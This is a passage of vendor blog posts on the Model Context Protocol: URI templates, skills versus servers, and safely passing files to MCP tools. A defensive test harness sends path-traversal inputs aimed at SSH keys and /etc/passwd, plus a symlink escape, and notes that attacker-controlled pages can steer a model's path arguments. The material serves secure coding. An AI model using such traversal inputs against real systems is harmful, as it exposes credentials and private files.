`"#intro"`. The template engine is shared, so the version you pick does not change the answer. Test your own templates either way. ## Frequently asked questions ## Frequently asked questions ### What is a URI template in MCP? It is an RFC 6570 pattern with variables in it, like `note://{id}`, registered with `ResourceTemplate`. One registration serves every URI that matches the pattern, and the parsed variables are passed to your read callback. ### Why does my MCP resource template return resource not found? The most likely cause is an exploded variable such as `{/segs*}`. That pattern expands correctly but matches nothing on `@modelcontextprotocol/sdk` 1.30.0, so every `resources/read` against it fails with error -32602. Replace it with `{+path}` and split the value on `/` in your callback. ### Which RFC 6570 operators does the MCP SDK support? Expansion supports all six operators: `+`, `#`, `.`, `/`, `?` and `&`. Matching is narrower. Every operator round-trips except `#`, which includes the separator in the captured value, and exploded variables marked with `*`, which do not match. ### How do I serve a file tree over MCP resources? Register a template ending in a reserved expansion, such as `api://v1/{+path}`. The variable captures the full remaining path including slashes, and you split it into segments yourself. Put the reserved variable last, because it is greedy. ### How can I test that my resource template routes correctly? Build the `UriTemplate`, call `expand()` with known values, then call `match()` on the result and compare. If `match()` returns null or different values than you passed in, the template will not route a real read. ### Does resources/templates/list validate my templates? No. It returns the template strings exactly as you registered them, including ones that cannot match anything. A client can discover a template, build a valid URI from it, and still get an error back. If you are adding resources to a server for the first time, start with a single variable and add complexity only when you need it. `note://{id}` and `repo://{owner}/{name}` cover most real schemes, and both route correctly. MCPOrbit lists every resource a server publishes and reads any one of them back for you, so you can see what a URI actually returns before your users do. [Download MCPOrbit for macOS](/api/download) --- # MCP servers vs agent skills: when to use each URL: https://mcporbit.com/blog/mcp-vs-agent-skills Author: Mark, Head of Marketing, MCPOrbit Published: 2026-09-02 Updated: 2026-09-04 Category: Comparison Tags: MCP, Agent Skills, comparison, AI agents, context engineering A skill is instructions loaded into the model's context. An MCP server is a process the model calls. Here is the decision rule, and why you want both. Agent skills and MCP servers are not competitors, and picking between them is mostly one question: does the capability need to run something, or does it only need to be known? A skill is a folder of instructions the model reads into its context. An MCP server is a separate process the model calls out to. Use a skill to change what the model knows. Use a server to change what it can do. That split decides where a capability lives. Formatting rules, a review checklist, or a policy the model applies are knowledge, so they belong in a skill: no process, no port, no deployment. Querying a database, calling a paid API, or holding a credential are execution, so they belong in a Model Context Protocol (MCP) server. The two are designed to compose, and the shape most teams land on is a skill that documents how to drive their own server. - A skill is a directory with a `SKILL.md` file. The specification requires exactly two frontmatter fields: `name` and `description`. - An MCP server is a running process that speaks JSON-RPC, over stdio or Streamable HTTP. - Skills load progressively: `name` and `description` at startup, the body only once the skill activates, bundled files only when read. - A server advertises every tool schema up front, so you pay that context cost on every session whether the tool is used or not. - A remote MCP server is the only one of the two that keeps a credential off the agent's machine entirely. - The two compose. A skill that tells the agent how and when to call your server is a normal, useful pattern. ## What is an agent skill? A skill is a folder containing a `SKILL.md` file: YAML frontmatter plus a Markdown body. The frontmatter requires only `name` and `description`. `name` must be 1 to 64 characters, lowercase letters, numbers and hyphens, with no leading, trailing, or consecutive hyphens, and it must match the parent directory name. `description` must be 1 to 1024 characters and should say both what the skill does and when to use it, because that string is how the agent decides to activate it. Four optional fields exist: `license`, `compatibility` (up to 500 characters, for environment requirements), `metadata` (a map of string keys to string values), and `allowed-tools` (a space-separated list of pre-approved tools, marked experimental). By convention the folder can also hold `scripts/` for executable code, `references/` for documentation the agent reads on demand, and `assets/` for templates and data. Here is the skill used for the rest of this post. It lives at `.agents/skills/expense-report/SKILL.md`, which is the directory VS Code scans by default. ```markdown --- name: expense-report description: Write up a monthly expense report in the company format. Use when asked to file, write, or summarize an expense report, or to explain whether an expense is reimbursable. license: Apache-2.0 compatibility: Requires the finance-ledger MCP server to be configured. metadata: owner: finance-ops version: "1.0" --- # Expense report format Look up every expense ID with the `lookup_expense` tool from the `finance-ledger` MCP server. Do not guess amounts, and do not read the ledger file directly. ## Policy - `meals` under 2500 cents: reimbursable, no receipt needed. - `travel`: reimbursable, receipt required over 25000 cents. - `software`: needs a manager approval line in the report. ## Output One Markdown table, columns in this order: ID, vendor, date, amount, verdict. Render amounts as dollars with two decimals. Sort by date ascending. End with a total line. ``` Skills have a reference validator, so this is checkable rather than a matter of taste. The `skills-ref` package version 0.1.5 checks the frontmatter and the naming rules: ```bash $ npx skills-ref@0.1.5 validate ./.agents/skills/expense-report Valid skill: ./.agents/skills/expense-report ``` Note what is absent. There is no runtime, no network protocol, and no server. The format defines files on disk and nothing else. Everything a skill does, the agent does on the agent's own machine. ## What is an MCP server? An MCP server is a process. It speaks JSON-RPC 2.0 to a client inside the host application, and it offers three things: tools (functions the model can execute), resources (data for the model or the user), and prompts (templated workflows). The client can offer three back: sampling, roots, and elicitation. The current specification revision is `2026-07-28`. This server exposes one tool over stdio. It reads a credential from the environment at startup and refuses to run without it, which is the part a skill cannot replicate. ```javascript import { McpServer } from "@modelcontextprotocol/server"; import { serveStdio } from "@modelcontextprotocol/server/stdio"; import { readFileSync } from "node:fs"; import { z } from "zod"; // A credential the model never sees. This is the line a skill cannot cross. const LEDGER_TOKEN = process.env.LEDGER_TOKEN; if (!LEDGER_TOKEN) { console.error("LEDGER_TOKEN is not set"); process.exit(1); } serveStdio(() => { const server = new McpServer({ name: "finance-ledger", version: "1.0.0" }); server.registerTool( "lookup_expense", { title: "Look up an expense", description: "Fetch one expense record from the finance ledger by its ID.", inputSchema: z.object({ expense_id: z.string().describe("Expense ID, e.g. EXP-4417"), }), }, async ({ expense_id }) => { const ledger = JSON.parse( readFileSync(new URL("./ledger.json", import.meta.url), "utf8"), ); const row = ledger[expense_id]; if (!row) { return { content: [{ type: "text", text: `No expense found for ${expense_id}` }], isError: true, }; } return { content: [{ type: "text", text: JSON.stringify({ expense_id, ...row }) }], }; }, ); return server; }); ``` Calling it with an MCP client returns real data, not instructions about data: ```bash $ node call.js tools: [ 'lookup_expense' ] result: {"expense_id":"EXP-4418","vendor":"Delta","amount_cents":61250,"currency":"USD","date":"2026-08-15","category":"travel"} ``` > **Pin your SDK, not just the spec** > > The specification and the SDKs move at different speeds. On `@modelcontextprotocol/server` 2.0.0 the exported `LATEST_PROTOCOL_VERSION` is still `2025-11-25`, and `SUPPORTED_PROTOCOL_VERSIONS` reads 2025-11-25, 2025-06-18, 2025-03-26, 2024-11-05, 2024-10-07. So a server built on that SDK today speaks a revision older than the current `2026-07-28` spec. Check the constant in the SDK you install rather than assuming it matches the published spec. ## The decision rule Four questions settle almost every case. If any answer in the first list is yes, you need a server, because a skill structurally cannot do it. ### Use an MCP server when - The capability has to execute something the model cannot do itself: query a database, call a paid API, move a file, trigger a deploy. - A credential is involved and you do not want it sitting on every user's machine. A remote server keeps the secret on the server. - One deployment has to serve several clients, users, or teams, and you want to fix a bug in one place. - The answer changes at runtime. A tool result is fetched per call; skill text is fixed until someone edits the file. - You want arguments validated before your code sees them. Every tool carries a JSON Schema for its input. ### Use an agent skill when - The work is procedure or judgment: house style, a review checklist, a policy to apply, the right order to do things in. - The knowledge is stable enough to live in text, with reference files for the long tail. - You want it to work with nothing running: no process, no port, no deploy step. - You want it portable. The same folder works on any agent that reads the format. - The real capability is knowing how and when to use tools the agent already has. ## Can a skill hold a secret? Not in its text, and this is the distinction most comparisons get wrong. A skill's Markdown is loaded into the model's context, so an API key written into `SKILL.md` is visible to the model and to anything that logs the conversation. A bundled script is a partial exception worth being precise about. A script in `scripts/` runs on the agent's host, so it can read an environment variable and use it without that value ever entering the context. What it cannot do is stop the credential from existing on every machine that runs the skill. A remote MCP server can: the secret lives on the server, no client ever holds it, and you can rotate or revoke it in one place. If your threat model cares about where the key sits rather than only about what the model sees, that is the deciding difference. ## What each one costs you in context Both consume context, but on different schedules, and the schedule is the point. Measured on the example above, the skill's startup cost is its `name` and `description`: 185 bytes. The full `SKILL.md` is 911 bytes and loads only when the skill activates. The server's `tools/list` response for its single tool is 335 bytes, and that is paid on every session, because the client has to know the tool exists before the model can call it. The absolute numbers are small and not the interesting part. The scaling is. A server's cost grows with tool count and schema size and is charged up front, which is why a server with forty tools is a real context problem. A skill's cost stays at roughly a description until something activates it, which is why a machine can carry many skills cheaply. Reach for a skill when you have a lot of situational knowledge, and keep server tool lists short. ## The pattern you actually want: both Look again at the skill above. Its body does not reimplement the ledger. It says to call `lookup_expense` on the `finance-ledger` server, not to guess amounts, and not to read the ledger file directly. Then it adds the part the server has no opinion about: which expenses need receipts, and what the finished table should look like. That division is the useful one. The server owns access and correctness. The skill owns procedure and presentation. Neither duplicates the other, and you can change the reimbursement policy without redeploying the server. > A skill tells the agent what to do. A server does what the agent cannot do itself. --- ## Frequently asked questions ## Frequently asked questions ### Are agent skills replacing MCP servers? No. They solve different problems. Skills package instructions and files that load into a model's context; MCP servers are running processes that execute code and hold credentials. A skill cannot query your database, and a server cannot teach the model your formatting rules as cheaply. ### What is the difference between a skill and an MCP prompt? Both supply reusable text, but a prompt is served by a running MCP server over the protocol and is fetched at call time, while a skill is a folder on disk that any compatible agent reads directly with no server involved. Use a prompt when the text has to come from the same deployment as your tools; use a skill when you want it to work standalone. ### Can an agent skill call an MCP server? Yes, and it is a common pattern. The skill's body names the tool and tells the agent when to call it, and the agent invokes the server through its normal MCP client. The skill supplies the procedure and the server supplies the capability. ### What fields does SKILL.md actually require? Only `name` and `description`. `name` must be 1 to 64 lowercase alphanumeric characters and hyphens, with no leading, trailing, or consecutive hyphens, and it must match the folder name. `description` must be 1 to 1024 characters. `license`, `compatibility`, `metadata`, and `allowed-tools` are optional. ### Which costs more context, a skill or an MCP server? A server, usually, because every tool's schema is advertised at startup whether or not the model uses it. A skill only loads its name and description until it activates. In the example in this post that was 335 bytes for a one-tool server against 185 bytes for the skill, and the gap widens with every extra tool. ### How do I check that my SKILL.md is valid? Run the reference validator: `npx skills-ref@0.1.5 validate ./path-to-skill`. It checks the frontmatter fields and the naming rules and prints `Valid skill` on success. If you are already running MCP servers, the fastest way to make them usable is to keep each server's tool list short and write a skill that explains when to reach for it. MCPOrbit connects to a server and shows you the exact tool list a model would see, so you can tell whether it is short enough. [Download MCPOrbit for macOS](/api/download) --- # How to pass a file to an MCP tool URL: https://mcporbit.com/blog/pass-a-file-to-an-mcp-tool Author: Mark, Head of Marketing, MCPOrbit Published: 2026-09-02 Updated: 2026-09-04 Category: Tutorial Tags: MCP, TypeScript, Security, Tutorial, Files Three ways to get a file into an MCP tool: a path, inline base64, or a URL. Measured token costs for each, and the path guard that stops traversal. There are three ways to pass a file to a Model Context Protocol (MCP) tool: send a path, inline the bytes as base64, or send a URL and let the server fetch it. The right choice is a size question. A path costs about 6 tokens, a URL about 12, and inlining a 20 KB screenshot costs about 6,800. Use a path only when the server shares a filesystem with the client, inline for small files, and a URL for anything remote or large. The output side of this is covered elsewhere: a tool returns an image with an `image` content block. The input side is asked more often and answered less. Your user has a PDF or a screenshot sitting on their disk, and your tool needs the bytes. This post builds one server that accepts the same file all three ways, measures what each route actually costs, and then fixes the security hole that the path route opens by default. - Three intake routes exist: a filesystem path, inline base64 in the tool arguments, and a URL the server fetches. - Measured on the same 20,308-byte PNG: a path costs 25 bytes of tool arguments, a URL costs 47, and inline base64 costs 27,142. - In tokens that is about 6, about 12, and about 6,786. Inlining costs roughly 1,131 times a path and 566 times a URL. - Base64 expands by a flat 1.333x. That ratio does not improve at any size. - A path argument from a model is untrusted input. Checking for `..` or comparing string prefixes both fail, and both leaked a real file in testing. - The fix is to resolve against an allowed root, follow symlinks with `realpath`, and re-check containment. Add a size cap and verify the declared content type against the actual bytes. ## The three ways to pass a file, and when each is correct Every intake route delivers identical bytes to the tool. They differ in who reads the file and what the model pays to say which file it means. - A path. The client sends a string like `screenshot.png` and the server opens it. Costs a few tokens. Correct only for a local stdio server that shares a filesystem with the client. It fails the moment the server moves to another machine, and it fails silently: the path is well-formed, the file is simply not there. - Inline base64. The client reads the file and puts the encoded bytes in the tool arguments. Works with every transport, because the bytes travel inside the protocol. Costs the 1.333x base64 expansion plus the model's context to carry it. Fine for a small screenshot, wrong for a 40 MB PDF. - A URL. The client sends a link and the server fetches it. Flat cost regardless of file size, because a URL does not grow with the file. This is the answer for remote servers and large files, and it needs the server to have network access to whatever the URL points at. > **Why a path fails silently** > > A remote server receiving `/Users/you/screenshot.png` does not get an error that explains the real problem. It gets a missing file on its own disk. The tool reports that the file does not exist, the user swears it does, and nothing in the message mentions that the two machines are different. This is the single most common way file intake breaks. ## Build a server that accepts all three The stack is pinned. Node 25.8.1, the version 2 Model Context Protocol SDK, and Zod 4. ```bash mkdir file-intake-server && cd file-intake-server npm init -y npm pkg set type=module npm i @modelcontextprotocol/server@2.0.0 @modelcontextprotocol/client@2.0.0 zod@4.4.3 ``` ### The path guard Write this first, before the server. Every path that arrives from a model goes through it. The reasoning behind each check is in the security section below, but the guard belongs in the file the server imports, so here it is. ```javascript // safe-path.js: turn an untrusted path argument into a path inside one allowed root. import { realpathSync } from "node:fs"; import { isAbsolute, relative, resolve } from "node:path"; // Thrown for anything that resolves outside the root. Kept distinct from an // ordinary I/O error so the tool can answer "refused" instead of "not found". export class PathRefused extends Error { constructor(message) { super(message); this.name = "PathRefused"; } } function contains(rootReal, targetReal) { const rel = relative(rootReal, targetReal); // "" means the target is the root itself. A leading ".." or an absolute // result means it climbed out. return rel !== "" && !rel.startsWith("..") && !isAbsolute(rel); } export function resolveInRoot(root, candidate) { if (typeof candidate !== "string" || candidate.length === 0) { throw new PathRefused("path must be a non-empty string"); } // An absolute argument is never joined onto the root, it replaces it. // Reject it outright rather than letting resolve() silently escape. if (isAbsolute(candidate)) { throw new PathRefused(`absolute paths are refused: ${candidate}`); } const rootReal = realpathSync(resolve(root)); const target = resolve(rootReal, candidate); // First check: the lexical path stays inside the root. if (!contains(rootReal, target)) { throw new PathRefused(`path escapes the allowed root: ${candidate}`); } // Second check: so does the path after symlinks are followed. A symlink // inside the root that points outside it passes the lexical check. let targetReal; try { targetReal = realpathSync(target); } catch (err) { if (err.code === "ENOENT") throw new PathRefused(`no such file: ${candidate}`); throw err; } if (!contains(rootReal, targetReal)) { throw new PathRefused(`path resolves outside the allowed root: ${candidate}`); } return targetReal; } ``` ### The server Three tools, one shared `describe` function. Whichever route the bytes take, they end up in the same place: a Buffer, sized, sniffed, and hashed. Save this as `server.js`. ```javascript // server.js: one MCP server that accepts the same file three ways. import { McpServer } from "@modelcontextprotocol/server"; import { StdioServerTransport } from "@modelcontextprotocol/server/stdio"; import { createHash } from "node:crypto"; import { readFile, stat } from "node:fs/promises"; import { basename } from "node:path"; import { z } from "zod"; import { PathRefused, resolveInRoot } from "./safe-path.js"; // The one directory this server will read from. Everything else is refused. const ALLOWED_ROOT = process.env.FILE_ROOT ?? "./files"; // Hard cap. Applied to every intake mode, before the bytes are held in memory. const MAX_BYTES = 8 * 1024 * 1024; const ALLOWED_TYPES = new Set(["image/png", "image/jpeg", "application/pdf"]); // Sniff the real type from the leading bytes. The declared mimeType is a claim // from the caller, this is the file itself. function sniff(bytes) { if (bytes.length >= 8 && bytes.subarray(0, 8).equals(Buffer.from([0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a]))) { return "image/png"; } if (bytes.length >= 3 && bytes[0] === 0xff && bytes[1] === 0xd8 && bytes[2] === 0xff) { return "image/jpeg"; } if (bytes.length >= 5 && bytes.subarray(0, 5).toString("ascii") === "%PDF-") { return "application/pdf"; } return "application/octet-stream"; } // The actual work, shared by all three tools. Whatever route the bytes took in, // they end up here as a Buffer. function describe(name, bytes) { const detected = sniff(bytes); const sha = createHash("sha256").update(bytes).digest("hex"); return { content: [ { type: "text", text: [ `name: ${name}`, `bytes: ${bytes.length}`, `detected: ${detected}`, `sha256: ${sha.slice(0, 16)}`, ].join("\n"), }, ], structuredContent: { name, bytes: bytes.length, detected, sha256: sha }, }; } function refuse(reason) { return { isError: true, content: [{ type: "text", text: `refused: ${reason}` }] }; } const server = new McpServer({ name: "file-intake", version: "1.0.0" }); // Mode 1: a path. Cheapest on the wire. Only correct when the server shares a // filesystem with the client, which means a local stdio server and nothing else. server.registerTool( "describe_local_file", { title: "Describe a local file", description: "Describe a file already on this machine, given a path relative to the server's allowed root.", inputSchema: { path: z.string().min(1).describe("Path relative to the allowed root") }, }, async ({ path }) => { let resolved; try { resolved = resolveInRoot(ALLOWED_ROOT, path); } catch (err) { if (err instanceof PathRefused) return refuse(err.message); throw err; } // Cap before reading, not after. stat() costs nothing, readFile() of a // 4 GB file costs 4 GB. const info = await stat(resolved); if (!info.isFile()) return refuse("not a regular file"); if (info.size > MAX_BYTES) return refuse(`file is ${info.size} bytes, cap is ${MAX_BYTES}`); const bytes = await readFile(resolved); const detected = sniff(bytes); if (!ALLOWED_TYPES.has(detected)) return refuse(`content type ${detected} is not accepted`); return describe(basename(resolved), bytes); } ); // Mode 2: inline base64. Works everywhere. The bytes travel through the model's // context on the way in, which is what makes it expensive. server.registerTool( "describe_inline_file", { title: "Describe an inlined file", description: "Describe a file sent inline as base64. Use for small files only.", inputSchema: { filename: z.string().min(1), mimeType: z.string().min(1), data: z.string().min(1).describe("Bare base64, no data: URL prefix"), }, }, async ({ filename, mimeType, data }) => { if (!ALLOWED_TYPES.has(mimeType)) return refuse(`declared type ${mimeType} is not accepted`); // Cap on the encoded length first. Decoding is what allocates. const projected = Math.floor((data.length * 3) / 4); if (projected > MAX_BYTES) return refuse(`payload is about ${projected} bytes, cap is ${MAX_BYTES}`); if (data.startsWith("data:")) return refuse("data is bare base64, not a data: URL"); const bytes = Buffer.from(data, "base64"); const detected = sniff(bytes); // The declared type is a claim. Check it against the bytes. if (detected !== mimeType) return refuse(`declared ${mimeType} but the bytes are ${detected}`); return describe(filename, bytes); } ); // Mode 3: a URL. Flat cost regardless of file size. The server does the fetch, // so the bytes never enter the model's context at all. server.registerTool( "describe_remote_file", { title: "Describe a file at a URL", description: "Describe a file the server fetches over HTTP. Use for large or remote files.", inputSchema: { url: z.string().url() }, }, async ({ url }) => { const parsed = new URL(url); // A URL from a model is untrusted the same way a path is. Without this the // tool is a request forwarder into anything the server can reach. if (parsed.protocol !== "https:" && parsed.protocol !== "http:") { return refuse(`protocol ${parsed.protocol} is not accepted`); } const res = await fetch(url, { redirect: "error" }); if (!res.ok) return refuse(`fetch returned ${res.status}`); const declared = (res.headers.get("content-type") ?? "").split(";")[0].trim(); if (!ALLOWED_TYPES.has(declared)) return refuse(`content type ${declared} is not accepted`); const length = Number(res.headers.get("content-length")); if (Number.isFinite(length) && length > MAX_BYTES) { return refuse(`file is ${length} bytes, cap is ${MAX_BYTES}`); } // Content-Length is a claim too. Cap the body as it arrives. const bytes = Buffer.from(await res.arrayBuffer()); if (bytes.length > MAX_BYTES) return refuse(`body is ${bytes.length} bytes, cap is ${MAX_BYTES}`); const detected = sniff(bytes); if (!ALLOWED_TYPES.has(detected)) return refuse(`content type ${detected} is not accepted`); return describe(basename(parsed.pathname) || "download", bytes); } ); await server.connect(new StdioServerTransport()); ``` Two details in there matter more than they look. The size cap on the path route runs against `stat` before `readFile`, so a 4 GB file costs one syscall instead of 4 GB of memory. And the inline route checks the declared `mimeType` against the bytes it actually decoded, because the declared type is a claim from the caller and nothing else verifies it. ## What each intake mode costs, measured Assertions about cost are worth nothing without a number. This harness connects a real client over stdio, calls all three tools with the same file, checks that all three produce an identical SHA-256, and prints the size of the arguments each one sent. Save it as `check.mjs`. ```javascript // check.mjs: drive all three intake modes with a real client, then measure them. import { Client } from "@modelcontextprotocol/client"; import { StdioClientTransport } from "@modelcontextprotocol/client/stdio"; import assert from "node:assert/strict"; import { createServer } from "node:http"; import { readFileSync } from "node:fs"; const PNG = readFileSync("files/screenshot.png"); // Serve the same file over HTTP so mode 3 has something real to fetch. const http = createServer((req, res) => { res.writeHead(200, { "content-type": "image/png", "content-length": PNG.length }); res.end(PNG); }); await new Promise((r) => http.listen(0, "127.0.0.1", r)); const URL_ = `http://127.0.0.1:${http.address().port}/screenshot.png`; const client = new Client({ name: "checker", version: "1.0.0" }); await client.connect( new StdioClientTransport({ command: "node", args: ["server.js"], env: { ...process.env, FILE_ROOT: "./files" } }) ); const tools = await client.listTools(); console.log("tools:", tools.tools.map((t) => t.name).join(", ")); // What the model actually spends to hand the file over: the arguments object. // About four characters per token. const cost = (args) => { const chars = JSON.stringify(args).length; return { chars, tokens: Math.round(chars / 4) }; }; const call = async (name, args) => { const out = await client.callTool({ name, arguments: args }); return { out, ...cost(args) }; }; // --- Mode 1: a path --- const pathArgs = { path: "screenshot.png" }; const byPath = await call("describe_local_file", pathArgs); assert.equal(byPath.out.isError, undefined, "path intake should succeed"); const shaPath = byPath.out.structuredContent.sha256; console.log(`path: args=${byPath.chars}B ~${byPath.tokens} tokens -> ${byPath.out.structuredContent.bytes}B`); // --- Mode 2: inline base64 --- const b64 = PNG.toString("base64"); const inlineArgs = { filename: "screenshot.png", mimeType: "image/png", data: b64 }; const byInline = await call("describe_inline_file", inlineArgs); assert.equal(byInline.out.isError, undefined, "inline intake should succeed"); console.log(`inline: args=${byInline.chars}B ~${byInline.tokens} tokens -> ${byInline.out.structuredContent.bytes}B`); // --- Mode 3: a URL --- const urlArgs = { url: URL_ }; const byUrl = await call("describe_remote_file", urlArgs); assert.equal(byUrl.out.isError, undefined, `url intake should succeed, got ${JSON.stringify(byUrl.out.content)}`); console.log(`url: args=${byUrl.chars}B ~${byUrl.tokens} tokens -> ${byUrl.out.structuredContent.bytes}B`); // All three routes deliver identical bytes. assert.equal(byInline.out.structuredContent.sha256, shaPath, "inline bytes differ from path bytes"); assert.equal(byUrl.out.structuredContent.sha256, shaPath, "fetched bytes differ from path bytes"); console.log(`\nsame sha256 via all three routes: ${shaPath.slice(0, 16)}`); console.log(`\npng=${PNG.length}B base64=${b64.length}B expansion=${(b64.length / PNG.length).toFixed(3)}x`); console.log(`inline costs ${(byInline.tokens / byPath.tokens).toFixed(0)}x the tokens of a path`); console.log(`inline costs ${(byInline.tokens / byUrl.tokens).toFixed(0)}x the tokens of a url`); // --- Security: the traversal attempt must be refused --- const traversal = await client.callTool({ name: "describe_local_file", arguments: { path: "../../.ssh/id_rsa" }, }); assert.equal(traversal.isError, true, "traversal was NOT refused"); assert.match(traversal.content[0].text, /^refused: /); console.log(`\ntraversal ../../.ssh/id_rsa -> ${traversal.content[0].text}`); const absolute = await client.callTool({ name: "describe_local_file", arguments: { path: "/etc/passwd" }, }); assert.equal(absolute.isError, true, "absolute path was NOT refused"); console.log(`absolute /etc/passwd -> ${absolute.content[0].text}`); const symlink = await client.callTool({ name: "describe_local_file", arguments: { path: "escape.png" }, }); assert.equal(symlink.isError, true, "symlink escape was NOT refused"); console.log(`symlink escape.png -> ${symlink.content[0].text}`); const sibling = await client.callTool({ name: "describe_local_file", arguments: { path: "../files-secret/creds.txt" }, }); assert.equal(sibling.isError, true, "sibling directory was NOT refused"); console.log(`sibling ../files-secret/ -> ${sibling.content[0].text}`); // --- Security: the size cap must fire before the bytes are read --- const tooBig = await client.callTool({ name: "describe_local_file", arguments: { path: "report.pdf" }, }); assert.equal(tooBig.isError, true, "size cap did NOT fire"); console.log(`40MB report.pdf -> ${tooBig.content[0].text}`); // --- Security: a lying mimeType must be caught --- const lying = await client.callTool({ name: "describe_inline_file", arguments: { filename: "x.pdf", mimeType: "application/pdf", data: PNG.toString("base64") }, }); assert.equal(lying.isError, true, "mimeType mismatch was NOT caught"); console.log(`png declared as pdf -> ${lying.content[0].text}`); // --- Security: a data: URL prefix must be refused --- const dataUrl = await client.callTool({ name: "describe_inline_file", arguments: { filename: "x.png", mimeType: "image/png", data: `data:image/png;base64,${b64.slice(0, 64)}` }, }); assert.equal(dataUrl.isError, true, "data: URL prefix was NOT refused"); console.log(`data: URL prefix -> ${dataUrl.content[0].text}`); // --- Security: a non-http protocol must be refused --- const fileUrl = await client.callTool({ name: "describe_remote_file", arguments: { url: "file:///etc/passwd" }, }); assert.equal(fileUrl.isError, true, "file:// URL was NOT refused"); console.log(`file:///etc/passwd -> ${fileUrl.content[0].text}`); console.log("\nALL CHECKS PASSED"); await client.close(); http.close(); ``` The fixtures are generated so the numbers reproduce. `fixture.js` writes a 1600x900 bar chart PNG, the same shape of image as a dashboard screenshot, and a 40 MB PDF for the size-cap test. ```javascript // fixture.js: write the test files. Deterministic, so the numbers repeat. import { deflateSync } from "node:zlib"; import { mkdirSync, writeFileSync } from "node:fs"; const CRC_TABLE = Uint32Array.from({ length: 256 }, (_, n) => { let c = n; for (let k = 0; k < 8; k++) c = c & 1 ? 0xedb88320 ^ (c >>> 1) : c >>> 1; return c >>> 0; }); function crc32(buf) { let c = 0xffffffff; for (const byte of buf) c = CRC_TABLE[(c ^ byte) & 0xff] ^ (c >>> 8); return (c ^ 0xffffffff) >>> 0; } function chunk(type, data) { const len = Buffer.alloc(4); len.writeUInt32BE(data.length); const body = Buffer.concat([Buffer.from(type, "ascii"), data]); const crc = Buffer.alloc(4); crc.writeUInt32BE(crc32(body)); return Buffer.concat([len, body, crc]); } export function encodePng(width, height, rgb) { const ihdr = Buffer.alloc(13); ihdr.writeUInt32BE(width, 0); ihdr.writeUInt32BE(height, 4); ihdr[8] = 8; ihdr[9] = 2; const stride = width * 3; const raw = Buffer.alloc((stride + 1) * height); for (let y = 0; y < height; y++) { raw[y * (stride + 1)] = 0; rgb.copy(raw, y * (stride + 1) + 1, y * stride, (y + 1) * stride); } return Buffer.concat([ Buffer.from([0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a]), chunk("IHDR", ihdr), chunk("IDAT", deflateSync(raw, { level: 9 })), chunk("IEND", Buffer.alloc(0)), ]); } // A 1600x900 bar chart, the same shape of image as a dashboard screenshot. export function chartPng(width = 1600, height = 900, bars = 64) { const rgb = Buffer.alloc(width * height * 3, 0xff); const put = (x, y, r, g, b) => { if (x < 0 || y < 0 || x >= width || y >= height) return; const i = (y * width + x) * 3; rgb[i] = r; rgb[i + 1] = g; rgb[i + 2] = b; }; const values = Array.from({ length: bars }, (_, i) => 20 + ((i * 37) % 80)); const max = Math.max(...values); const pad = 40; const slot = Math.floor((width - pad * 2) / values.length); const barW = Math.max(1, Math.floor(slot * 0.7)); values.forEach((v, i) => { const h = Math.round(((height - pad * 2) * v) / max); const x0 = pad + i * slot; for (let x = x0; x < x0 + barW; x++) { for (let y = height - pad - h; y < height - pad; y++) put(x, y, 0x54, 0x47, 0xc9); } }); for (let x = pad; x < width - pad; x++) put(x, height - pad, 0x0e, 0x18, 0x22); return encodePng(width, height, rgb); } // A minimal but structurally valid PDF, padded to a target size. export function paddedPdf(targetBytes) { const head = "%PDF-1.4\n1 0 obj<>endobj\n"; const tail = "trailer<>\n%%EOF\n"; const padLen = Math.max(0, targetBytes - head.length - tail.length - 3); return Buffer.from(`${head}%${"p".repeat(padLen)}\n${tail}`, "ascii"); } if (import.meta.filename === process.argv[1]) { mkdirSync("files", { recursive: true }); const png = chartPng(); writeFileSync("files/screenshot.png", png); const pdf = paddedPdf(40 * 1024 * 1024); writeFileSync("files/report.pdf", pdf); console.log(`files/screenshot.png ${png.length}B`); console.log(`files/report.pdf ${pdf.length}B`); } ``` Run `node fixture.js`, create the symlink and sibling file the security tests need, then run the harness. ```bash node fixture.js ln -sfn /etc/hosts files/escape.png mkdir -p files-secret && echo 'SECRET=hunter2' > files-secret/creds.txt node check.mjs ``` ```text tools: describe_local_file, describe_inline_file, describe_remote_file path: args=25B ~6 tokens -> 20308B inline: args=27142B ~6786 tokens -> 20308B url: args=47B ~12 tokens -> 20308B same sha256 via all three routes: d9effb2adad2bd95 png=20308B base64=27080B expansion=1.333x inline costs 1131x the tokens of a path inline costs 566x the tokens of a url traversal ../../.ssh/id_rsa -> refused: path escapes the allowed root: ../../.ssh/id_rsa absolute /etc/passwd -> refused: absolute paths are refused: /etc/passwd symlink escape.png -> refused: path resolves outside the allowed root: escape.png sibling ../files-secret/ -> refused: path escapes the allowed root: ../files-secret/creds.txt 40MB report.pdf -> refused: file is 41943039 bytes, cap is 8388608 png declared as pdf -> refused: declared application/pdf but the bytes are image/png data: URL prefix -> refused: data is bare base64, not a data: URL file:///etc/passwd -> refused: protocol file: is not accepted ALL CHECKS PASSED ``` The three numbers at the top are the post. The same 20,308-byte PNG cost 25 bytes of arguments as a path, 47 as a URL, and 27,142 inlined. At roughly four characters per token that is about 6 tokens, about 12, and about 6,786. Inlining one screenshot costs about 1,131 times what naming it costs. The base64 expansion came back at 1.333x, which matches the ratio measured previously across PNGs from 3 KB to 20 KB. There is no size at which encoding gets cheaper. A 20,308-byte file becomes 27,080 characters every time. Put that in context. Inline a screenshot three times in one conversation and you have spent about 20,000 tokens, a fifth of a 100k window, before the model has reasoned about anything. The bytes are identical in all three cases: the harness asserts the same SHA-256 came back from every route. The only thing that changes is what you paid to get them there. > A URL costs the same 47 bytes whether it points at a 20 KB screenshot or a 2 GB video. That flatness, not the raw saving, is the reason to reach for it. > — Measured across all three intake routes ## A path argument from a model is untrusted input This is where file intake stops being a plumbing question. The path in a tool call was written by a model, which was influenced by whatever was in its context, which may include a web page or a document that an attacker controls. Treat it exactly the way you would treat a path from an HTTP request body. The classic attack is one line: `{ "path": "../../.ssh/id_rsa" }`. Two guards get reached for first, and both of them leak. ```javascript // naive.mjs: the two path checks people reach for first, and what each one misses. import { readFileSync, realpathSync } from "node:fs"; import { resolve } from "node:path"; const ROOT = realpathSync("./files"); // Attempt 1: reject any path containing "..". const substringCheck = (p) => !p.includes(".."); // Attempt 2: resolve the path, then check it starts with the root. const prefixCheck = (p) => resolve(ROOT, p).startsWith(ROOT); const CASES = [ "screenshot.png", // legitimate "../../etc/hosts", // plain traversal "escape.png", // a symlink inside the root pointing out of it "../files-secret/creds.txt", // a sibling directory whose name starts with "files" ]; for (const p of CASES) { const allowed = 